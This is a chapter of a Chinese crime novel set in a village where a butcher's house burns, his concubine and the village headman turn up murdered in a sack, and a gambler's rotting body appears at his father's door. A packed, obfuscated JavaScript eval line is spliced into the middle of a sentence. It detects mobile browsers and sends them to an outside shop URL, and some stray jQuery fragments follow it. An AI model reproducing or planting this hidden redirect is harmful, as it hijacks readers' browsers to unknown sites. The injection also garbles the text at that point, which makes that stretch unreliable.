甘露一百二十七年，十二月二十四日，卯时。
天还没亮透，从内里透出一点将死未死的白，像是被隔夜的墨水闷过。
寒风从北边而来，如一只巨大的手，扣住了整个村子，阴测测地直往骨头缝里钻，让人感受到慢悠悠的钝痛。
通头村缩在这片灰里，偶尔的几声鸡叫，像卡了痰似的，断一截，续一截，硌得人耳朵疼。
往常这个点，村东头陈东家的灶房早该起烟了。
陈东是杀猪的，专卖卤肉。他那口卤水，据说传了三代，八角桂皮压着老汤。每天卯时头一锅，香气霸道得很，能顺着风一路飘到村西的学堂口去。
香气太过霸道，厚重地粘在人的鼻腔里，把人从梦里拽醒，然后胃里就会翻起一阵空虚的馋。
可今日的风里没有肉香。
取而代之的，是一股呛鼻的焦糊味。
隔壁的王老汉是被尿憋醒的。
他年纪大了，睡眠不好，膀胱也越发地不济。他趿着鞋，迷迷瞪瞪推开半扇窗，想瞅瞅天色，看看能不能再回笼打个盹。
窗一开，他先是打了个寒噤，紧跟着，后脊梁像是被人拍了一巴掌，一下子醒透了。
陈家的屋顶上，有火光。
那火光从灶房的位置往上冒，隔着窗户纸，好似一只被闷在笼子里的兽，正用爪子一下一下地挠着牢笼。
等王老汉眨了两下眼后，那兽已然从笼子里探出了半张嘴，露出森然的牙齿。
风一卷，火苗“呼”地一声窜上房檩，蹿过瓦缝，直往半空里立起来，张牙舞爪地要把这块没亮透的天撕开个口子。
王老汉站在窗前，望着那火光，喉咙里像是有什么东西堵着，半晌，他大喊道：
“走水啦——”
王老汉这一嗓子劈了，凄厉地走了调，在死寂的村子上空炸开来。
“走水啦！陈家走水啦！”
人们被这一嗓子从梦中拽醒，紧接着家家户户都打开了门。
男人们光着膀子披件湿衣就往外冲，手里有什么抓什么，木桶、铜盆、喂猪的破瓢，铁皮的，木头的，什么都行，只要是能盛水的玩意儿，一股脑地往井边跑。
女人们拽着娃，娃哭得嗷嗷的，被这个场面吓坏了，小脸煞白，死死地抓着娘的腿，狗也跟着狂吠。
汪汪声和哭喊声，搅成一团，此起彼伏。
整个村子在一盏茶的功夫里，从死一般的寂静里醒过来。人们如同被烫醒的蚂蚁，朝着陈东家的方向奔去。
“快！井边打水！一个一个来！别挤！”
伍头张叔站在陈家院外那截矬墙上，蓝布袄只披了一条袖子，另一条袖子空荡荡地在风里甩动。
他嗓门大，往日里骂人吵架的那股子劲，这会儿全用上了，嗓音里带着焦灼。
他的脸被火映得通红，胡须在冷风中颤抖。
火焰噼啪作响，东西在不断地爆裂崩塌。
横梁烧断的时候，响动像放爆竹，“砰”地一下，火星子四散，落到人身上能烫出一个个小洞。
各种烧焦的味道，在空中搅成一团。
水泼上去，“嗤”地腾起白烟，那火却开始灵活走位，一处刚下去，又从另一处鼓起来。
“陈东呢？”张叔一桶水泼出去，两条老寒腿抖得差点没站稳，扯着嗓子问，“陈东出来没有？”
“没见着啊！”旁边一个叫铁柱的后生，被烟呛得一把鼻涕一把泪，“我头一个跑过来的，门窗都闩得死死的，火是打灶房里烧起来的！”
铁柱说着，声音越来越低。
“坏了。”
张叔心里“咯噔”一下。
这样的火势和浓烟，要是他还在里头......
他不敢再细想，慌忙道：“救人！先救人！”
众人发了狠，水一桶一桶地砸进去，砸得火头一矮再矮。
有胆大的抄了水桶往屋子里跑，门板早烧得焦了，一撞就塌。火光冲天，把这卯时的清晨照得跟正午一样白。
房梁塌了，土墙裂了，那口陈东平日里视若珍宝的卤肉大锅，从灶台上滚下来，“哐”地一声，卤水泼出去半锅，弥散着一股又腥又焦的怪味。
好在发现得早，救火的人也多。
等天色又亮了一些，那条巨大的赤龙终于瘫倒，化成满地黑炭和几股不甘的黑烟，歪歪扭扭地往灰天上爬。
它们爬得极慢，垂死挣扎着，最后完全消失在大亮的天光里。
“进去看看吧。”
张叔顾不得脚底的余烬还烫着，拿袖子捂着嘴，跨了进去。身后跟了几个后生，都是半大的小子。
屋里没剩下什么完整的东西。
房梁横七竖八地倒着，烧得乌黑，有一根还在滋滋地冒着火星。
墙皮剥落，锅底朝天，像一只翻过来的黑龟。卤水混着灰，在地上凝成一层黏腻的黑膜，踩上去“咕叽”作响。
众人屏着气，一点一点地往里挪。
那间房是陈东睡觉的正屋。
床榻的位置还看得出来，四根床腿烂了三根，只剩下半截勉强杵着。
“陈东！陈东！”
有人喊了两声，声音撞在焦黑的断壁上。
张叔拿着根铁钩，钩尖插进那堆灰和烧透的床板底下，一点一点地扒拉。
所有人的心都提到了嗓子眼。
没有。
什么都没有。
别说是尸首了，就是块像样的骨头渣子也没找到。
“怪了……”张叔瞪大了眼，脖子拧来拧去地四下张望，那模样像只丢了窝的老鹅，“这火烧得再旺，也不能把个大活人烧成灰啊？”
“没人？”王老汉的眉头拧成一个疙瘩。
“没人！”几个后生已经把屋里屋外翻了个底朝天，连后院那个茅厕都拿棍子捅了一遍，“张叔，真没人！”
“小云也不在！”
喊话的是常来陈东家赊肉的一个汉子。他站在西屋门口，回身朝众人比了个手势。
小云是陈东刚过门没多久的小妾，住的西屋离灶房远，烧得没有正屋厉害，房梁和门框都还在。
小云也不见了。
人群外头起了一阵嗡嗡声。
大家你看看我，我看看你，都不知道究竟发生了什么。
刚才救火的时候，几十双眼睛盯着陈东家的大门和后门，别说是两个大活人，就算是一只耗子蹿出来，也躲不过这么多人的眼睛。
“我看见火是从里头烧起来的……”王老汉喃喃道，声音打着哆嗦。
他背上渗出一层冷汗，被风一吹，黏在里衣上，冰得他一激灵。
正是这个时候，院墙外头忽然一阵骚动。
一个尖利的女人的声音，像剪子一样划过瓦片。
“让开！都给我让开！”
人群像被一把无形的刀劈开，从中间豁出一条道。
走出来的是村长夫人蔡芳。
她今日没梳头，半白的头发拿根金簪胡乱地别着，袄子上的盘扣扣错了一颗，露出里头的领子。
她脸色铁青，像是从冰窖里捞出来的石头。眼睛泛着赤红的光，怒气和痛苦拧在一起，把那张平日里泼辣的脸拧得几乎变了形。
“陈东这个杀千刀的！”
她开口道，声音竖着往上拔：“他杀了我们当家的，还有那个死贱人小云，然后放火烧了屋子，逃跑了。”
没人敢吱声。
因为所有人都看见了她身后的东西。
两个身强力壮的伙计，一左一右，吭哧吭哧地拖着一个麻袋。
那麻袋沉甸甸地贴着地，拖过冻硬的土路时发出“嚓嚓”的声音，在这死寂的清晨里格外刺耳，像是有人拿粗砂纸磋着众人的耳膜。
“啪。”
伙计松手，麻袋重重地砸在陈家焦黑的院子里，扬起一阵灰尘。
“大伙儿不是找陈东吗？”蔡芳环视一圈，“陈东我没见着，我家那个老不死的，倒是在这儿。”
她猛地弯下腰，一把扯开麻袋口的绳结。
“撕”的一声。
紧跟着，是众人的抽气声。
麻袋敞开了，里头蜷着两具尸首。
一具是村长孙耀光的。
那张平日里作威作福的蛤蟆脸，此刻死白死白，两只眼睛圆睁着，瞳仁里凝着一层死灰。
他衣衫不整，下身赤裸，整个人紧紧地贴着前头那具尸首，一只手搭在她的腰上，像是死到临头还舍不得撒手。
他贴着的，正是陈东那个刚过门不久的小妾，小云。
她同样□□，长发凌乱地披在肩上，几绺粘在脸颊，脸颊上涂着胭脂，在死人的脸上显得格外扎眼。
两具交缠的尸体，像是藤蔓缠在一处。
“这……这是造了什么孽啊！”
离得最近的一个老汉往后趔趄了两步，颤颤巍巍地叹了口气。
蔡芳深吸一口气，眼眶泛红，指着地上那两团交缠的白肉，声音陡然拔高：
“诸位乡亲，我蔡芳平日里是泼辣，是不讲情面，可我不是瞎子！前些日子，孙耀光这杀千刀的，被猪油蒙了心，三天两头往这卖卤肉的陈家跑。说是买肉，谁不知道他那是醉翁之意不在酒！”
她狠狠地啐了一口唾沫在地上，像是要把心口那团恶气一齐吐出来。
“他垂涎这小蹄子的美色，两人眉来眼去，勾勾搭搭，早不是一天两天了！我睁一只眼闭一只眼，那是给他留张老脸，没成想……”
她顿住了。
蔡芳的目光从陈家焦黑的屋子扫过，又掠过地上的两具尸首，眼神变得狠辣起来。
“定是昨夜两人私会，被陈东那莽汉撞了个正着！陈东是个杀猪的，杀猪的能有什么好脾气？定是怒火攻心，一刀一个，宰了这对不要脸的狗男女！然后一把火烧了屋子，卷钱逃跑了！”
“那……这袋子是打哪儿来的？”
有人壮着胆子问。
“刚才走水那么大动静，吵得我们一家子都醒了。”蔡芳冷冷道，“我刚一醒，就听见我家伙计喊，说他推开后门，这袋子就扔在我家后院门口！”
她扫了一眼众人惊愕的脸，嘴角一撇，笑得极冷。
“好个杀猪的，杀了人跑了不说，还敢把尸首扔到我家门口，真是好大的胆子！”
“他不扔你家门口，你也不知道他是被戴了绿帽子才杀人的呀……”
不知是谁在人群里小声嘀咕了一句。
蔡芳的眼睛刷地剜过去，吓得那人立时缩了脖子，噤声不动。
更多的人则是瞠目结舌。
奸夫，□□，杀人，纵火，这都是话本子上才有的事，忽然血淋淋地摆到了自己眼皮子底下，一时间竟没人反应过来。
可空口无凭。
人命关天的事，谁也不敢轻易点头。
蔡芳见众人神色游移，冷笑一声，扭头对伙计吩咐：“去，把林医师请来。”
她转回来，又道：“林医师是村里医术最高的，手法也最高明，从前村里死了人，哪一回不是请她来看？她说的话，你们总该信吧。”
众人听罢，一阵沉默。
这倒是事实。
林婉春医师在通头村行医数年，给大人小孩看病，也给死人验尸。她验过的尸首，从来没有出过差错。
“林医师来了！让一让！”
不多时，伙计领着一个四十多岁，身着素色布衣的女子走了过来。
她背着陈旧巨大的药箱，箱子的角上包着铜皮，铜皮磨得发亮，泛着温润的光泽。
林婉春的面色沉静，带着医者特有的从容，穿过人群，走到尸体前头，向蔡芳微微颔首。
林婉春蹲下身子，从药箱中取出工具，依次摆开。随后，她轻轻拨开死者的衣襟，仔细查验伤口。
林医师的眉头微微蹙起，检查完二人尸体上的伤口，她又仔细查看了两具尸体的腐烂程度，刀伤，尸斑，然后站起身，面向众人。
她接过旁人递来的水盆洗了洗手，语调从容：“两名死者身上皆有锐器造成的贯穿伤。从伤口的宽窄和深浅来看，是陈东家的杀猪刀所致。”
“从入刀的角度和力度来看，行凶者力气极大，且惯用左手，这跟陈东是左撇子也相吻合。他切肉的样子，村里买过肉的相亲们都看见过。”
她顿了顿，垂眼看了看地上的两具尸体，补充道：“根据尸体的僵硬程度和尸斑，推测出死者应该是在两个时辰之前一同死亡的。并且死亡时，正在行苟且之事。”
刚刚一个后生救火时，在正厅的角落里发现了一把沾血的杀猪刀。刀柄已经被火烤焦了，此时正摆在林医师的面前，供她比对。
“就是这把杀猪刀。”
蔡芳听罢，身子晃了晃，随即发出一声凄厉的哭嚎：“大家都看见了吧！陈东杀人纵火，畏罪潜逃！”
她嘶吼了几声，低头看着地上那对赤条条的男女，弯下腰，盯着孙耀光那张死人脸，一字一句道：“杀千刀的，你有今天，真是报应啊。”
她直起身，冲伙计一挥手：“来人，随便丢到乱葬岗里。”
“孙耀光，我告诉你，只要我没死，你就别想进孙家的祖坟。”
说罢，蔡芳带着两个伙计，拖着那只麻袋，头也不回地离开了。
众人看着她的背影，有人轻轻叹了一口气。
这一叹倒不是为孙耀光。
当年，孙耀光家里不富裕，亲戚也没几个，就靠一张脸和一张嘴。
人长得不错，嘴又甜，把蔡家的独苗闺女哄得团团转，终于是娶了回来。
孙耀光是借着蔡家的势才坐上村长的位置的，这个通头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949014|214114||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
村人人心里都有数。
可人一但坐上这个位置，就彻底不装了。沾花惹草不说，对乡亲们也是尖酸刻薄，恨不得在所有人头上拉屎。
比起他，性子刁蛮泼辣却办事还算公道的蔡芳，反倒更得人心。
如今出了这样的事，蔡芳随手把孙耀光丢去乱葬岗，众人非但不觉不忍，甚至还有几个心里暗暗叫了声痛快。
人群里，绣娘秀秀静静地立着。
她抿着唇，看着人们来来去去，议论纷纷。
秀秀二十几岁的年纪，穿着一件大红色的袄子，在这一片灰扑扑的人堆里，红得有些扎眼。
她生得极好，眉眼里带着少见的英气，鼻梁高挺，一双眼睛炯炯的，像寒夜里两颗清亮的星辰。
她手里提着一只金色的小口袋。
袋子上有精美的绣图，绣的是一只浴火的凤凰。
里面装着沉甸甸的东西，勒得她纤细的指节微微泛白，手背上的青筋微微浮起。
若是有人仔细看，便能发现，她的面上，带着浅浅的笑意。
然而一波未平，一波又起。
“林医师！”
人群后头，不知谁猛地大喝了一声：“李老汉家出事了！”
原本正要散去的众人，脚步一顿，又呼啦啦地转了方向，簇拥着朝村南走去。
方才救火的动静，李老汉也听见了。
可他家中就只有他一个人，年纪又大了，腿脚不利索，就是去了，也搭不上手，反倒碍事。
他在炕上翻了两个身，听着外头的喊声都低下去了，才裹着那件不知缝了多少回的破棉袄，哆哆嗦嗦地爬起来，推开家里嘎吱作响的柴门。
火已经灭了。
天色也大亮了。
李老汉眯着眼，正要往村东头张望，脚下忽然“咚”地一声，踢着了一个沉甸甸的东西，险些把他绊一跤。
“啥玩意儿？”
他低头。
是一只粗麻袋，沾满泥泞，鼓鼓囊囊地立在他家门槛外头，像一个硕大的土包。
麻袋口扎得不紧，一股子难以言喻的腥臭从缝隙里渗出来，混着晨雾的湿气，直往鼻孔里钻。
李老汉心里“咯噔”一下。
他颤巍巍地伸出一只手，那手枯得像树皮，指节粗大，指甲缝里全是黑泥。
他解开了麻袋口的绳子。
“啊——！”
李老汉一屁股跌坐在地上，浑身像筛糠一样抖起来，止都止不住。
麻袋里装着的，是一个人。
那人的脸已经完全烂掉，估摸着是被野狗啃过，皮肉翻卷着，露出底下白森森的骨头，一只眼窝空着，另一只糊着泥土。
若不是身上穿的那件破袄子，还有腰间系着的一只磨得锃亮、刻着“李二”两个字的旧酒葫芦，李老汉绝不肯相信，这个尸体就是自己的二儿子。
他的手抖着，往那尸首的裤腿上扒。
大腿上有一块青色的胎记，巴掌大小，是李二打娘胎里带出来的。
李老汉的嗓子里“嗬”了一声，像风箱破裂。
“二……二娃啊……”
“我的儿啊——”
林医师和众人赶到的时候，李老汉正抱着那具面目模糊的尸首，嚎啕大哭。
“这……这是李二？”邻居封大嫂捂着鼻子，一脸惊恐，“这咋成这样了？”
众人七嘴八舌，围上来问李老汉，李二到底是几时不见的。
李老汉老泪纵横，瘫在地上，两手死死抓着那沾了血的破袄子：“四天了，整整四天没着家啊。”
“我寻思这畜生又是去哪鬼混了，以前也是十天半个月不见人影，谁承想，谁承想竟是被人杀了啊！”
人群里踉跄着挤出一个身形消瘦的汉子。
这人也是个赌鬼，平日里跟李二混在一处，一起喝酒，一起输钱，一起被人撵着打。
他眯着眼看了看那尸首，忽然一拍大腿：“我想起来了！最后一次见到李二，是，是二十号晚上！”
众人的目光齐齐聚到他身上。
赌鬼被这么多眼睛盯着，反倒来了劲，绘声绘色地比划起来：“那天晚上李二去了赌坊。他那手气，臭得跟阴沟一样，几把下去，输了个精光。输光了就喝酒，喝完了就耍酒疯。”
“你们也知道他那个臭脾气，逮谁咬谁。那晚上他把赌坊的伙计，看场子的打手，还有几个赢了钱的客人，全骂了个遍，最后还动了手！”
“那晚上都有谁跟他起过争执？”有人问。
“这哪说得清啊！”赌鬼摊了摊手，“那天晚上，本来就有酒会，大家全喝醉了，乱成一锅粥，跟他动手的没十个也有八个。”
“反正最后是大家看着他骂骂咧咧出了赌坊，摇摇晃晃往外走。估摸着，就是在回家的半道上被人下了黑手。”
林医师蹲下身，仔细查看了那尸首。
她看得比方才更久一些，翻了尸身，看了指甲，又将那只烂脸抬起来，对着晨光瞧了瞧。
“看这尸斑和尸僵的程度，”她站起来，对众人道，“确实死了有三四天了，李二应该就是二十号夜里被人害死的。”
李老汉有两个儿子。
大儿子李大，是个滑头的混混，七年前远走他乡，音信全无，是死是活都不知道。
剩下这么个李二，自小被宠坏了，整日不学无术，除了喝酒就是赌钱，没了钱就回家搜刮。搜刮不出来就摔盆打碗，稍不如意，还要对着亲爹打骂。
也就亲爹还惯着他，村里人上上下下，都对他避之不及。
如今这最后一点念想，也被装在麻袋里，血淋淋地还了回来。
“报官吗？”有人小声提议。
“报啥官啊……”旁边一位长者摇了摇头，把声音压低了，“都死了四天了。那天晚上跟他结仇的人那么多，怎么查？再说，李老汉家徒四壁，哪有银子去衙门打点？李二平日里作恶多端，仇家遍地，说不定衙门里的差役都盼着他死呢。”
“凶手敢把尸首直接扔到李老汉家门口，也是算准了他家就剩这一个老的，没人能替他出头。”
另一人接口，声音里带着几分说不清的意味：“这是明摆着的挑衅啊。”
林医师也摇了摇头，随后背起药箱，默默地走开了。
众人见状，没多久也就都散了。
李二的酒葫芦不知何时从尸身腰间松脱了，被一阵风吹着，滚进了人群里。
众人嫌它晦气。
葫芦在地上滚动着，磕在鞋子上发出闷响。滚着，撞着，被人你一脚我一脚地胡乱踢着。
最后，它滚到了秀秀脚边。
秀秀低头，看着那只老旧的葫芦，她轻轻地笑了一下，鞋尖抬起，碾过发黑腥臭的葫芦口。
她等这一天的到来，已经足足等了七年了。